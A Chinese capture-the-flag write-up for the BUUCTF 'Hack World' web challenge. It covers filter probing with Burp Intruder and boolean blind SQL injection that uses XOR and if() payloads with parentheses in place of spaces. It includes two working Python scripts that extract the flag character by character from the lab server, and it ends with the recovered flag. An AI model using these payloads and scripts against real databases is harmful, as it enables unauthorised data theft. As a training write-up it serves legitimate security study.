BUUCTF [CISCN2019 华北赛区 Day2 Web1]Hack World
判断过滤哪些关键词和字符
使用Burp Suite的Intruder,字典内容就是常见的SQL注入的一些函数名、符号等。
buuoj有访问限制,访问太快会提示429 Too Many Requests,所以,需要设置一下延时。

返回长度有493、492、482、472,分别对应不同的回显。
- 493:Hello, glzjin wants a girlfriend.
- 492:Error Occured When Fetch Result.
- 482:SQL Injection Checked.
- 472:bool(false)
其中主要是482的过滤和472返回的bool,也没有其它回显,所以猜测布尔盲注。但是空格、or、and等都被过滤了
SQL异或运算
大概在这里应用就是假^假=假,真^真=假,假^真=真,真^假=真。null^any=null。
当我们查询 1^0、0^1、和1的回显是正常的,而查询1^1和0^0会有报错提示。
所以结合SQL语句,我们可以构造0^payload,若为payload结果真,则返回...;反之...
因为空格被过滤,所以用括号来代替空格。
构造payload:1^(ascii(substr((select(flag)from(flag)),1,1))>1)
- substr():截取查询结果的从第一字符开始的一个字符
- ascii():ascii值>1指这个值不为NULL
盲注python脚本:
import requests
import time
import re
url='http://a7496ddf-f4d9-410a-94da-53ab915296e3.node4.buuoj.cn:81/index.php'
flag = ''
for i in range(1,43):
    max = 127
    min = 0
    for c in range(0,127):
        s = (int)((max+min)/2)
        payload = '1^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'
        r = requests.post(url,data = {'id':payload})
        time.sleep(0.1)
        if 'Hello, glzjin wants a girlfriend.' in str(r.content):
            max=s
        else:
            min=s
        if((max-min)<=1):
            flag+=chr(max)
            break
print(flag)
- ASCII对照表共定义了128个字符
- flag长度根据经验是43
- 二分法
- 请求sleep(0.1)还是因为网站的访问限制
SQL的三目运算
if(表达式1,表达式2,表达式3)
如果表达式1是正确的,那么执行表达式2,否则执行表达式3。
构建payload:if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)
如果if正确,则执行1,返回Hello, glzjin wants a girlfriend  否则执行2,则返回Do you want to be my girlfriend?
import requests
import time
url = 'http://35a3724e-07df-4562-a21b-bfbf5b06b2d2.node4.buuoj.cn:81/index.php'
result = ''
for x in range(1, 50):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        payload = "if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,2)" % (x, mid)
        data = {
            "id":payload
        }
        response = requests.post(url, data = data)
        time.sleep(0.1)
        if 'Hello' in response.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    result += chr(int(mid))
    print(result)
得到flag{077e00cd-7633-44ed-9ab4-f860ead793b8}
参考链接:
https://blog.csdn.net/TM_1024/article/details/106978766

 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号